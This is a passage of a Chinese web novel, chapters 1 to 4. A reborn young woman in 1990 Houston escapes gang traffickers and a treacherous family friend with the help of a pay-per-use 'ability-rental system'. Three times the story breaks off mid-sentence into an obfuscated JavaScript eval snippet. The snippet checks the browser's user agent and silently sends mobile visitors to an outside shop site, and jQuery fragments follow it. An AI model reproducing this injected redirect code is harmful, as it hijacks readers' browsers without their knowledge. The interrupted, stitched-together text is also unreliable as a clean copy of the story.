《美国传奇女大亨[美娱+商战]》 1. 第1章 “喵——!” 一声尖锐的猫叫狠狠扎进耳膜,李菲猛地睁眼,胸腔剧烈起伏,大口大口地喘气。鼻尖先撞上一股刺鼻的消毒水味,混着墙皮发霉的潮气,呛得她喉咙发紧。 入眼是米黄色的墙皮,边角微微卷翘着,印着深浅不一的水渍。 这是间三人间病房,除了她身下这张铁架病床,另外两张都空着。 靠墙的矮柜上放着台笨重的电视机,金属旋钮磨得发亮,塑料壳子泛着旧黄,活像外婆家八十年代的老物件。 她的床边杵着根镀铬的输液架,杆身上锈迹斑斑,显然用了好些年头了。 李菲越看心里越发懵,都2025年了,杭城居然还有这么老旧的医院? 她想撑着坐起来,手指动了动,却发现浑身酸软得提不起力气。 “喵——” 又是一声猫叫传来。她偏过头,只见半开的窗台上蹲着一只黑猫幼崽,黄澄澄的眼睛一眨不眨盯着她,左耳尖缺了一小块,在风里轻轻颤动。 “你好啊,小不点。” 话一出口,李菲便僵住了。 软糯沙哑的少女音,脱口而出的流利英文。不是她那用了22年的嗓音,更不是她熟悉的、带着南方口音的普通话。 她迅速抬手摸脸,指尖触到的皮肤细腻光滑。下颌线利落,颧骨微凸,每一寸触感都无比陌生。 她不可置信地掐了把脸。 “嘶——” 疼是真的疼,可这具身体,绝对不是她的! 李菲顿觉事情有些不妙,寒气顺着脊椎直往上窜。 就在这时,“咔嗒”一声轻响,病房门把手突然被拧开了。一个身穿护士服、戴着口罩的白人女性推着治疗车走进来。 车轮在地板上滚出细碎轻响,几缕暗金色的发丝从护士帽边滑下来。 她原本微垂着头,抬眼撞见醒着的李菲,脚步倏地一顿,眼睛里飞快闪过一丝慌乱。 李菲的心跳瞬间飙高。 正常护士看到病人醒了,会出现这样的眼神吗? 女人很快敛住神色,推着车走到床边,声音放得又轻又柔:“温斯洛小姐,你醒了?感觉怎么样?” 温斯洛小姐? 李菲脑子“嗡”的一声。 她在叫我? 可我叫李菲,不是什么温斯洛。 白人护士、全英文对话、老旧的病房……一个荒诞的念头不受控制地冒出来,撞得她太阳穴突突直跳。 “我……还好。” 她压制住心里翻滚的惊涛骇浪,学着刚才的口音回道。 目光落在治疗车的托盘上,里面放着一支装满浑浊液体的针管,针头已拆了护套,亮得有些扎眼。 “医生交代过,你刚醒,情绪不稳定,需要打一针镇静剂,好好休息才能恢复得快。”女人轻声说着,伸手来扶她的胳膊。 李菲猛地往后缩,后背抵着床头:“我不需要镇静剂,我要见医生!” 女人的脸色立马沉下来,方才的温柔荡然无存。她不等李菲再开口,陡然探身扑来,一只手死死捂住李菲的嘴,另一只手举起针管,针尖对准她的上臂,就要往下扎! 针管里的液体晃了晃,李菲浑身的血都凉了。她拼命挣扎,可这具身体虚弱得很,根本挣脱不开女人的桎梏。 冰凉的针尖已经刺破病号服,贴在李菲的皮肤上,刺骨寒意顺着毛孔往骨头里钻。 完了。 她脑子里刚闪过这两个字—— 就在这时,一道黑影从窗台上飞扑过来! “喵嗷!” 那只小黑猫纵身跃起,爪子狠狠挠在女人的脸上。三道鲜红血痕从眼角划到下颌,深的地方渗出血珠。女人发出一声尖叫,捂着脸松开手,针管“哐当”掉在地上。 机会来了! 李菲几乎是凭着本能,抄起床头柜上的陶瓷花瓶,卯足力气砸在女人的头上。 花瓶应声碎裂,瓷片溅了一地。女人晃了晃身子,额头渗出血来,可她居然没有晕倒,红着眼又朝她抓来。 靠,这女人的头是铁做的吗,居然没晕? 电视剧果然是骗人的!花瓶砸头必晕什么的,根本就是扯淡! 李菲气得心里直骂娘,闪身躲开女人抓来的手,拉开病房门往外冲,一边跑一边喊:“救命!有人要杀我!” 走廊里的值班护士和保安很快围了过来。 那护士踉踉跄跄追出来,看到保安,脚步一顿,转身就往另一个方向跑。 两名保安拔腿追了上去。 李菲靠着墙慢慢滑坐在地上,膝盖碰着冰凉的地板,才发觉自己浑身都在颤抖。 手心全是汗,指缝里也是。 她攥紧拳头,指甲深深掐进掌心,留下几个月牙印痕。 警察来的时候,天已经黑透了。 问话,笔录……一套繁琐的流程走完,李菲终于搞清了状况。 那护士是当地一个叫蝎子帮的成员假扮的,想把她迷晕带走,卖到墨西哥抵债。 针管里装的是大剂量强效镇静剂,要是真打进去,她现在已经是砧板上的肉了。 警察走后,病房里只剩下李菲一个人。 一阵剧烈的头痛袭来,无数混乱的记忆碎片像潮水般涌进脑海,和她前世的记忆搅在一起,渐渐拼凑出完整的真相。 她死了,又活了。 活在1990年的美国,活在一个叫菲伊·温斯洛的16岁华裔女孩身体里。 前世的她即将大学毕业,在前往公司实习的路上,看到有孩子溺水,犹豫几秒,她跳了下去。孩子获救,她却小腿抽了筋。 湖水灌进鼻子嘴巴,世界变成浑浊的绿色。 然后她就什么都不知道了。 再睁开眼,就是这家叫赫尔曼的美国医院,而且是35年前的美国。 菲伊·温斯洛的身世和她有点像,都是孤儿出身。不过对方比她幸运,8岁那年被一对美国夫妻从华国福利院收养。 温斯洛夫妇在休斯顿开了家餐厅,日子过得平淡安稳。可半个月前,养父布兰登·温斯洛不知怎么欠了蝎子帮一笔赌债。 接着家里失火,温斯洛夫妇双双殒命。原主因为在寄宿高中上学,才逃过一劫。 小姑娘忍着悲痛处理了后事,将家里所剩不多的资产变卖,用以赔付邻居的火灾损失,剩下的钱只够还一部分赌债,眼下还欠5万美金,外加高额利息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753412|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。 1990年的5万美金,一个白领不吃不喝也得攒两年,何况是一个没有依靠、没有学历的未成年? 小姑娘走投无路之下,跳了河,后被路人救起送进医院。 再醒过来,芯子就换成了李菲。 而蝎子帮的人,得知原主获救后,怕她再自杀,赌债变成死账,就派人来医院绑她,打算把她卖到墨西哥抵债。 一旦被抓走,等待她的,只会是生不如死的日子。 李菲后背的冷汗浸透了病号服,只觉得一阵后怕。 要不是那只小猫,她此刻怕是已落入蝎子帮手里了! 黑猫不知什么时候跳上病床,蹲在她的手边,脑袋轻轻蹭她的指尖。 李菲回过神,从护士送来的餐盒里拿出半块三明治,撕成碎渣递到它面前,声音放得很轻:“谢谢你啊,小家伙。” 黑猫低头吃着,喉咙里发出舒服的咕噜声。 就在这时,病房门再次被敲响。 李菲浑身的神经再次绷紧,抬头望去。 门口站着一个中年男人,穿着熨帖的浅灰色西装,戴着副无框眼镜,手里提着保温桶,脸上满是掩不住的担忧。 看到李菲安然无恙,他松了口气,快步走过来:“菲伊,我的孩子,你还好吗?谢天谢地,你没事。” 原主的记忆一下子涌上来。 来人是格雷·休,养父布兰登相交十几年的好友,在本地一家房地产公司做销售,从小看着原主长大,是她为数不多亲近的长辈。 李菲悬着的心,这才稍稍放下。 格雷的到来,让刚从鬼门关爬回来的李菲,终于抓住了一丝依靠,暂时松了口气。 他站在病床边望着她,眼里满是疼惜:“菲伊,很抱歉,我来晚了。这几天我在外地出差,不知道你会……对不起,是我没照顾好你。” “格雷叔叔。”李菲顺着记忆里的称呼开口,“没关系的。” 他笑了一下,眼角的皱纹挤在一起,看起来格外温和。 “好孩子,医生说你恢复得不错。” 格雷拉过椅子坐下,打开保温桶。里面是温热的苹果燕麦粥,飘着淡淡的肉桂香。 这是原主从小最爱喝的,每次生病,养母都会给她熬。 “医生说你刚醒,只能吃点清淡的。” 他递了把勺子给李菲,“出院手续我已经办好了,等你喝完粥,我们就走。” “去哪?” “离开休斯顿。”格雷压低声音,眼里带着忧色,“蝎子帮的事,警察管不了,他们还会再来。但出了休斯顿,他们的手就伸不了那么远了。我在堪萨斯有个表姐,人很和善,你先去她家住一阵子。” 李菲没说话。 “债务的事不用理操心,有我呢。”他伸手轻轻拍了李菲的肩膀,“先安顿下来。平平安安比什么都重要。” 格雷是温斯洛家的至交,看着菲伊长大。每年生日都会送礼物,养父母吵架时也是他来劝和。 他是除了养父母之外,原主最信任的人。 她现在身无分文,无依无靠,想要摆脱蝎子帮,格雷的安排,或许是目前最好的出路。 “好。”李菲抿抿唇,低声应道。 2. 第2章 出院时,已经将近十一点了。 格雷开着一辆黑色福特,车座提前调好了角度,还放了个软靠垫。他绕到副驾帮她拉开车门,等她坐好才轻轻关上。 半个多小时后,他们驶出市中心,来到休斯顿北郊。 格雷放慢车速,指着路边亮着暖黄灯牌的汽车旅馆说:“菲伊,今天太晚了,去堪萨斯要十几个小时,你身子刚好,熬不住。我们在这里住一晚,明天一早再出发,好吗?” 李菲点点头,没意见。 车子刚停稳,她就看到路边有一家24小时营业的超市,低头看了看自己身上还穿着的蓝白条纹病号服,遂开口道:“格雷叔叔,我想去超市买两件换洗衣物,总穿着病号服不方便。” “应该的。”格雷笑着从钱包里抽出一张100美元的纸币递给她,“去吧,喜欢的都拿着,不用省钱。” 李菲接过钱,推门下车。刚走两步,就发现格雷也下了车,亦步亦趋地跟在她身后。 “格雷叔叔,你在车里等我就好,我很快就回来。”李菲回头道。 “没事,我陪你。大半夜的,你一个小姑娘,我不放心。”格雷笑得温和,脚步没停。 李菲抿抿唇,没再多说什么。 进了超市,她在女装区挑衣服,格雷就站在货架旁,目光一刻不离地锁在她身上,手指无意识地摩挲着裤缝,一下又一下。 等她进了试衣间,反手锁上门的瞬间,就听见格雷的脚步声停在了试衣间门口,离门板只有一步远。 低头换衣服时,眼角余光扫过地面,能清晰看见他的影子从门缝底下透进来,随着他踱步的动作来来回回地晃。 没过一会儿,格雷敲了敲门板,语气带着掩饰不住的催促:“菲伊?好了吗?快点,别让我担心。” 李菲动作一顿。 不对劲。 就算是担心,也不至于寸步不离地跟着,连试衣服都要守在门口,生怕她跑了一样。 她换好衣服出去,格雷的目光立刻扫过来,上下打量一遍后,露出温和的笑:“很合身,很好看。” 李菲扯扯嘴角,没说话。 她花了25美元买了一身T恤和牛仔裤,剩下75美元,她犹豫了一瞬,没有还给格雷,而是悄悄将钱叠好,放进牛仔裤的口袋里。 或许是今天遭受了太多刺激,有些敏感了。 她在心里这样安慰自己。 格雷办好入住手续,给她开的房间在三楼,他住在隔壁。 房间很小,单人床上铺着棕色化纤床单,床尾有一个矮柜,上面立着台电视机,屏幕脏兮兮的,看起来很久没打扫过了。 “你先休息,我去楼下买点吃的。” 格雷说完带上门,门外传来 “咔哒” 一声反锁的轻响。 李菲眉头一皱,立即从床边站起来,冲到门口拧了拧门把手。 纹丝不动。 她的心跳瞬间提到了嗓子眼,耳朵贴在门上,听见格雷的脚步声走远。 过了大概十分钟,格雷回来了,手里拎着个便利店袋子。 他从里面拿出一瓶牛奶,接了热水温过,再倒进杯子里,端着走到李菲面前。 “喝杯牛奶,好好睡一觉。” 李菲伸手去接。 指尖刚碰到玻璃杯,就瞥见杯沿沾着几粒白色粉末,细得像灰尘。 她的心跳陡然停了一拍。 下午那支装着镇静剂的针管,立刻浮现在眼前。 卖场里寸步不离的目光,试衣间门口的脚步声,反锁的房门……所有不对劲的细节,此刻全都串在了一起。 李菲握着杯子的手没动。 她慢慢把杯子放在床头柜上,轻声道:“我太累了,喝不下,想先睡了。” 刹那间,格雷脸上的温和,消失得干干净净。 他往前一步,伸手攥住李菲的手腕,捏得她的骨头生疼。另一只手端起牛奶,直接怼到她的嘴边:“听话,把它喝了。睡个好觉,明天就什么事都没有了。” 牛奶晃出来,洒在李菲的领口。 “我说了不想喝!”李菲使劲挣开他的手,后退一步,厉声问道,“你到底想干什么?” 格雷看着她,突然笑了,笑得有些狰狞,和之前那个儒雅绅士的模样判若两人。 “干什么?菲伊,我是在帮你啊。” 他一步步逼近,讥笑道:“呵!你真以为你跑得了?一个没爹没妈的丫头,身无分文,没亲戚,没朋友,连张信用卡都办不了,你能跑到哪里去?” 他啐了一口,眼里满是贪婪:“你只要乖乖听话,他们不会要你的命。我跟蝎子帮的人说好了,把你交过去,我欠的钱就一笔勾销。至于你父亲的债,以你的长相,好好伺候那些客人,不用两年就能还清。” “我去你妈!” 李菲怒上心头,趁着他逼近的空档,曲起膝盖,狠狠往上一顶。 正中要害。 格雷闷哼一声,弯下腰,双手死死捂住裆部,疼得冷汗直冒。 杯子掉在地上,牛奶溅了一地。 李菲眼疾手快,抓起地上一块锋利的玻璃碎片,不等格雷直起腰,跨步上前,把碎片死死抵在他的颈动脉上。 不待她开口询问,格雷忽然浑身剧烈抽搐起来。嘴唇发白,瞳孔忽大忽小,整个人蜷缩成一团,手指死死抓住自己的胳膊,指甲都快抠进肉里。 李菲愣了一秒,一把扯开他的袖子。 只见格雷的胳膊上,密密麻麻全是青紫色的针眼,新的旧的叠在一起,看得人头皮发麻。 霎时间,李菲什么都明白了。 “你早就和蝎子帮勾结在一起了,对不对?我养父那么老实的人,怎么会欠下赌债?是不是你故意拉他下水的?那场火灾,是不是也和你有关?!” 格雷喘着粗气,抬眼看向她,得意地笑了笑,却因瘾症发作显得有些扭曲。 “是、是我又怎样?布兰登……那个蠢货,我随便设个局,他就往里跳!火灾……只是个意、意外,只能怪他自己倒霉!” 李菲气得浑身发抖,抬脚狠狠踢在他的裆部。格雷惨叫一声,瘫在地上动弹不得。 就在这时,楼下传来刺耳的刹车声,紧接着是“砰砰”的关车门声与粗粝的叫骂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753413|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 李菲冲到窗边往下看,但见三个男人正快步走向旅馆里,每人的胳膊上都纹着一只翘着尾钩的蝎子,领头的那个光头,正是之前去葬礼上逼债的人。 楼梯不能走了! 李菲回头看了一眼地上的格雷,转身冲出房间,往走廊尽头跑。 她一把推开尽头的窗户,一根钢制的雨水管顺着外墙直通地面,管壁厚实,看着足够承重。 身后传来急促的脚步声,光头的骂声越来越近:“她往那边跑了!快追!” 李菲咬牙翻出窗户,双手抓紧雨水管,脚踩着管壁的凸起,一点点往下滑。走廊里的脚步声不断逼近,她心里一慌,脚下一滑,最后两米直接摔在地上,脚踝传来一阵钻心的疼。 她顾不上疼,爬起来就往马路对面的暗巷里冲,身影很快消失在夜色里。 巷子里,堆满了散发着酸腐味的垃圾桶,遍地都是烂菜叶和破酒瓶。路灯接触不良,滋滋闪着,把影子拉得忽长忽短。飞虫绕着灯泡乱撞,撞得灯泡微微晃动。 李菲一瘸一拐地往前跑,脚踝的刺痛顺着腿骨往上窜,肺像要炸开一样,每一口呼吸都带着铁锈味。 这具身体太弱了,溺水后的虚弱、醒来后没吃多少东西的空腹感、接连的惊吓和奔逃,几乎榨干了她所有的力气。 身后的脚步声、叫骂声越来越近。 “妈的,那小碧池跑哪儿去了?” “这条巷子是死的,另一头是墙,她跑不掉的!” “找仔细点!老大说了,要抓活的,脸别打花了,不然卖不上价!” 三道黑影冲进巷子。 领头的光头拎着一根钢管,左臂上的蝎子纹身随着动作起伏,尾钩犹如一根尖锐的黑刺。 跟在他左边的男人,左耳穿了一排银钉,右手缺了半截小指,指尖转着一把弹簧刀,“咔哒咔哒”的声响听得人头皮发麻。 右边的男人留着及肩的脏辫,嘴里嚼着口香糖,时不时吹个泡泡,“啪”的一声破掉,嘴里的污言秽语就没停过。 李菲躲在一个半人高的垃圾桶后面,死死捂着嘴,把呼吸压到最轻。 眼泪不受控地涌上来,模糊了视线。 她不懂,为什么她的人生永远都是这样。 前世在福利院长大,拼命考上985学金融,好不容易拿到投行的实习offer,刚看到一点光,就因为一时发善心,平白丢了命。 重活一次,开局就是家破人亡、身负巨债,然后被□□追杀,遭人背叛。 贼老天! 她只想好好活下去,怎么就这么难?! 巷子那头的脚步声越来越近,手电筒的光在垃圾桶间扫来扫去。 三个人呈品字形往前压,离她只有十几米了。 难道她今天真的要栽在这里了? 被这些人抓去墨西哥,生不如死? 凭什么? 她不甘心! 这时,一道冰冷的的电子音,遽然间在她的脑海里响起: 【滴!检测到符合条件的宿主。滴!强烈求生欲触发启动条件,系统启动中……启动成功。】 3. 第3章 李菲浑身一僵,以为自己产生了幻觉。 【李菲你好,我是能力租借系统。】 电子音再次响起,声音四平八稳,没有半点起伏。 租借系统? 什么鬼? 是她疯了,还是这个世界疯了? 对方好像听到了她的腹诽,机械地解释道: 【你的精神状况一切正常。本系统来自高维世界,只要与我绑定,即可摆脱你眼前的困局。】 李菲狠狠掐了自己的大腿一把,清晰的疼痛袭来,让她确认自己刚才没有幻听。 【你说可以帮我摆脱眼前的困局?怎么摆脱?】 她试着在心里问道。 电子音果然再次响起:【本系统提供能力租借服务,与我绑定成功后,宿主可租借24小时内物理接触过的任意一种生物的能力。每次租借需支付租金,按能力强度与时长计费。单次最长可租借72小时。同一生物最多可租借3种能力。】 随即,一串信息涌入李菲的脑海: 先是一套定价体系。 从F级(常见生理机能,如猎犬的嗅觉)到S级(人类巅峰能力,如爱因斯坦级别的物理直觉)。 最后还有一则补充说明:任何超出人类基因极限的能力无法租借。 李菲愣了:【这能力每次使用……还得付费?】 【是的。银货两讫,到期收回,不接受赊账。】 李菲:…… 这年头连系统都搞付费制了?该不会是什么新型诈骗吧? 可眼看那几人的手电光几乎要扫到她藏身的位置了,容不得她多想。菲伊咬咬牙,继续问:【所以只要钱够,什么能力都可以租借?比如让我现在变成超级赛亚人,一个人可以干翻一个连那种?】 系统:【对,但前提是该能力不超出人类基因极限。】 菲伊:【我兜里只有75美元。】 系统:【经测算,该预算可租借到应对目前情况的能力,干翻一个连做不到,但从这三人手里逃走,绰绰有余。】 那就赌了! 菲伊心一横:【好!我同意绑定!】 【绑定分为5年期、10年期、30年期三种合约,请宿主选择。】 菲伊:??? 这话怎么听着这么耳熟?跟运营商办套餐似的? 她一下子警惕起来:【这三种……有什么区别?】 系统:【核心区别为绑定期限与绑定费用。5年期时间最短,费用最低,一旦绑定成功,宿主需在5年内支付10亿美金的绑定费。 】 等等!夺少??!! 李菲瞳孔地震,简直不敢相信自己听到了什么! 【你刚刚说的是5年、10亿,还是美金?!】 系统:【是的。】 李菲脑子“嗡”的一下,差点气笑了。 她现在全身上下就剩75刀,还负债5万刀,这劳什子的破系统居然管她要10亿? 【你TM还不如直接鲨了我呢!】 【本系统不能无缘无故致人死亡。】 【呵,那什么叫“有缘有故”?】 【若宿主违约,灵魂将被抹杀。】 李菲:…… 果然在这儿等着她呢,就知道没天上掉馅饼的好事! 【那10年期和30年期呢?】 【10年期需在到期前,支付20亿美金绑定费。30年期支付50亿美金。但这两种类型可以接受分期支付。】 【分期有利息的吧?】 【有的,年利率分别是5%和3.5%。】 呵呵。 李菲翻了个白眼,继续问:【还有其他条件吗?一并说了。】 【没有了。】 【等期限到了,钱也结清了,你会怎样?解绑走人?】 【我会离开。当然,宿主也可以选择与我续约。】 听到这里,李菲反而平静下来,是那种荒诞到极致后的平静。 这贼老天果然看她不顺眼。 无论怎么选,只要她想活下去(生不如死的那种不算),横竖都要还债。不是还原主的债,就是还系统的债。 但转念一想,虱子多了不痒,债多不压身(bushi)。而且她已经死过一次了,以后若真还不起系统的债再死一次,好像也没什么大不了的。 能在异世多活一遭,也不算太亏。 【行,就5年期,绑定吧。】 分期是不可能分期的,那就是个巨坑! 【滴!系统绑定中……绑定成功。】 系统提示音刚落,手电筒的光柱朝这边扫过来,直直打在垃圾桶上。 李菲把身子缩得更紧,急得在心里喊: 【你刚才说有能让我逃脱的能力,是什么?快说啊!再晚一点,你那10亿就打水漂了!】 【抱歉,系统无法主动推荐能力,需宿主自行寻找。】 李菲:艹! 她瞬间有种把系统揪出来同归于尽的冲动! 但理智告诉她,继续无能狂怒是没用的,只会死得更快。 她强迫自己冷静下来,大脑飞速运转: 要想逃走,最好的办法,就是武力解决。可原主是个菜鸡,16年的人生里别说打架,连吵架都没有过,正面硬刚等于白送。 所以她必须借助外力,可她该借谁的力呢?而且必须是这具身体24小时内物理接触过的…… 到处乱晃的手电筒的光猛地定住,不偏不倚地照在她的脸上。 强光刺得她睁不开眼,下意识抬手去挡。 “找到了!在这呢!” 一声喊落,三道黑影立刻围上来。 光头拎着钢管,嘴里叼着半截烟,唾沫星子混着烟味喷在她脸上,另外两人一左一右堵死了她所有的退路,把她死死困在垃圾桶和砖墙之间的死角里,连转身的余地都没有。 “我当是什么厉害角色,差点把格雷那废物踢废了!” 光头用钢管头轻轻拍着她的脸颊,力道带着侮辱性,眼神黏糊糊地在她身上扫来扫去,“闹了半天,就是只躲在垃圾桶后面的小猫咪。” 小猫咪。 这三个字裹着讽刺和下流的调笑,像一道惊雷,劈进李菲混乱的脑子里。 对啊!她怎么把它给忘了! 医院的那只黑猫! 她今天才抱过它,摸过它,有过数次物理接触。 而猫的夜间视觉、敏捷度、近身搏杀的本能,在这种窄巷里就是杀器! 她立刻问系统:【租借那只黑猫的夜间搏击能力,需要多少钱?】 【该生物为F级,黑猫夜间搏击能力,15美元/分钟。宿主当前可支配现金7 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753414|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 5美元,是否全部兑换?】 一分钟15美元,75美元是她全部家当,却只够维持5分钟。 可眼下的形势,容不得她半分犹豫。 【确认!立刻兑换!】 【能力租借生效,倒计时:05:00。】 随着兜里的75美金消失,一股热流迅速在心脏炸开,涌遍四肢百骸。 脚踝的刺痛、腹中的饥饿、浑身的酸软疲惫,瞬间消失得无影无踪。 黑暗里的一切变得无比清晰。巷子里的每一块砖头,每一个拐角,甚至光头脸上的疤痕,都看得一清二楚。 耳朵精准捕捉到三个人的呼吸声和心跳声,身体变得无比轻盈,肌肉里充满了蓄势待发的爆发力。 几乎与此同时,堵在右侧的脏辫男伸出手,想要抓住李菲的胳膊,李菲下意识地就要躲开。 可就在她动的刹那,意外发生了。 她想侧身躲开对方的手,身体却本能地弓起了背,像猫炸毛一样蜷缩了一下,脚下踩到烂果皮,“哧溜”一滑,整个人踉跄着撞在身后的砖墙上。 “哈哈哈,这小妞是来搞笑的吗?竟然给我们表演个原地摔!” 李菲:…… 大意了!这具身体还没适应突如其来的能力。 肌肉记忆、身体平衡、发力方式,全都是陌生的,就像第一次穿高跟鞋走路,滑稽又狼狈。 脏辫男笑完,吐掉嘴里的口香糖,轻嗤一声:“还想躲?” 决定给李菲一点教训,伸出的手在半空中捏紧成拳,朝着她的头砸来。 李菲脑子里一片空白,本能地抬起手,像猫伸爪一样往前一扑一抓。指尖刮过脏辫男的胳膊,留下三道血痕。 脏辫男吃痛地缩回手。 李菲也没好到哪里去,她的动作到底还是生涩了些,抓完之后忘了收力,整个人往前扑了一下,左肩撞在垃圾桶上,铁皮桶发出“哐当”一声巨响。 “啧,查理,你行不行啊?居然被一个小丫头伤到了。”一旁的耳钉男不客气地嘲笑同伴。 男人最怕别人说自己不行。脏辫男被同伴嘲笑,心头火气直往外冒: “小碧池,我撕了你!” 此刻的他已把“别伤脸” 的叮嘱抛到九霄云外,铆足劲抡拳砸来,直奔李菲的面门。 这一拳若是打实了,鼻梁骨直接就得碎。 【倒计时:04:17】 系统的提示音冷不丁响起。 千钧一发之际,李菲迅速抱头蹲下,嘴里大喊:“等一下!别打我,我跟你们回去!” 拳头离她的脑袋只剩不到五厘米。 “哐当——!” 光头手里的钢管横着扫过来,硬生生格开了脏辫男的拳头,震得脏辫男虎口发麻,拳头偏了方向,擦着李菲的耳际砸在了垃圾桶上。 “里尔!” 脏辫男猛地扭头,眼睛瞪得通红,“她挠伤了我!” “你是猪脑子吗?” 光头横了他一眼,钢管往地上一顿,毫不客气地骂道,“脸打花打残了,我们还得倒贴医药费!滚一边去!” 脏辫男胸口剧烈起伏,狠狠啐了一口,却不敢再违逆,只能攥着拳头退到一旁。凶狠的目光像刀子一样扎在李菲身上,牙齿咬得咯吱响。 李菲悬到嗓子眼的心,终于落了半分。 赌对了。 4. 第4章 【倒计时:03:49】 系统提示音再次响起。 “老实点!” 光头的钢管头点了点地面,阴恻恻地盯着她,“从垃圾桶后面出来,双手举高,慢慢走过来,敢耍花样,直接打断你的腿。” 李菲举着双手,装作吓得腿软的样子,一步一挪地从垃圾桶后面走出来。 她垂着眼,睫毛抖个不停,看似全然顺从,余光却早已把三人的站位牢记于心: 光头在正前方两米处,钢管横在身前。脏辫男在她右后方,浑身紧绷蓄着力。耳钉男在左前方,手里握着弹簧刀。 完美的三角死局,但凡她有一点异动,三面都会瞬间扑上来。 光头对着耳钉男抬了抬下巴,一个眼神递过去。 耳钉男立刻会意,“咔哒”一声收了弹簧刀,从后腰扯出一圈粗麻绳,面无表情地绕到李菲的身后。 趁着这几秒的空档,李菲闭上眼睛。 她彻底放开对身体的掌控,不再对抗体内翻腾不息的猫科本能,任由那股热流顺着血管浸透每一块肌肉、每一处关节、每一根神经。 耳钉男缺了半截小指的手攥住麻绳,另一只手伸出去,就要反扭李菲的胳膊,把她双手捆死在身后。 就在他发力的刹那,李菲的眼睛睁开了。 乌黑的双眸中再无丝毫的温度和情绪,唯有冰冷的杀意,和锁定猎物的专注。 【倒计时:03:00】 她的身体像没有骨头一样,顺着他扭胳膊的力道猛地往下一滑。指尖擦着耳钉男的掌心滑过,灵巧地从他手里脱身。 耳钉男愣了一下。 刚才发生了什么? 不等他反应过来,李菲已原地拧身转体,动作快得只剩一道残影,手肘带着全身的力道,狠狠撞在他胸口的膻中穴上。 “呃!” 耳钉男闷哼一声,一口气被撞得憋了回去,整个人像被重锤砸中,不受控制地弓起身子。 李菲根本不给他喘息的机会,抬手扣住他的手腕,指尖像猫爪一样死死锁住他的脉门,另一只手按住他的肩膀,顺着他前倾的力道,往反方向狠狠一拧。 咔嚓! 骨头断裂。 耳钉男的手腕以一个诡异的角度向后弯折,麻绳“啪”地掉在地上。 他疼得喉咙里发出嗬嗬的声响,连惨叫都发不出来。 李菲顺势抬手,掌刃狠狠劈在他的后颈上,耳钉男顿觉眼前一黑,直挺挺地砸在地上,再也没了动静。 从挣脱到反杀,全程不过7秒。 【倒计时:02:53】 光头看傻了。 他张大嘴,眼中满是难以置信。 刚才那个说话都发抖的小娘们,怎么一转眼就变了副模样? “碧池!敢耍老子!” 很快,他便反应过来,怒吼一声,双手抡起钢管,朝着李菲狠狠砸来。 几乎同时,回过神的脏辫男也从右后方扑上来,张开双臂,想要抱住李菲的腰。 一前一后,夹击锁死。 李菲没有躲。 她猛地沉下重心,后背弓起,像一只贴地蓄势的黑猫,脚掌贴着地面往侧面滑出半步。 动作轻得没有一丝声响,刚好卡在两人攻击的时间差里,像水一样从缝隙里滑了出去。 “操!见鬼!” 光头的钢管砸了个空,巨大的前冲力道让他收不住势,整个人往前踉跄了两步。 后方的脏辫男同样收势不及,张开双臂直接扑在光头身上,两人撞在一起,霎时间乱了节奏。 就是这半秒的破绽。 李菲身形一动,灵巧地贴到脏辫男的身侧,他的后背完全暴露出来,整个下盘全是空当。 她抬起手,五指成爪,狠狠挠在他的背上。 “撕拉——” 布料被撕开的声音混着皮肉的撕裂声,五道深可见骨的血痕,从脏辫男的肩膀一直划到腰际。 脏辫男痛得嗷嗷直叫,刚要转身反击,膝盖窝就遭到猛烈一踹。 随着“喀嚓”一声脆响,脏辫男膝关节韧带断裂,身体失去平衡,单膝跪倒在地。 他想挣扎着爬起来,可每动一下,膝盖就传来钻心的疼。 【倒计时:02:35】 这时,光头才刚稳住身形,抬头就看到第二个弟兄转瞬间就被撂倒。 他彻底怒了,再也顾不上什么“不打脸”的叮嘱。 “你他妈找死!” 他嘶吼着,抡起钢管,朝着李菲扑来。 李菲站在原地,没有动。 乌黑的瞳孔缩成了一道竖缝,死死盯着钢管落下的轨迹,像黑猫盯着攻过来的毒蛇,等待最致命的出击时机。 钢管划破空气的呼啸声,在李菲的耳朵里被无限放大。她甚至能看清钢管上蹭掉的锌皮、沾着的锈迹,还有光头因为发力而暴起的青筋。 整个世界在她的眼里慢了下来。 在钢管离她的头顶只剩十厘米的一刻。 李菲动了。 她踩着碎步猛地侧身,动作轻盈得像一阵风,钢管擦着她的衣角狠狠砸在地上,地砖瞬间裂开,碎石溅了一地。 巨大的反震力让光头的胳膊麻了一瞬。 就在他抽回钢管的空档。 李菲已经踩着他的小臂,向上一跃—— 膝盖狠狠顶在了他的下巴上。 “咔嚓。” 又是一声脆响,光头的牙齿狠狠撞在一起,满嘴是血,脚步踉跄地向后退了几步。 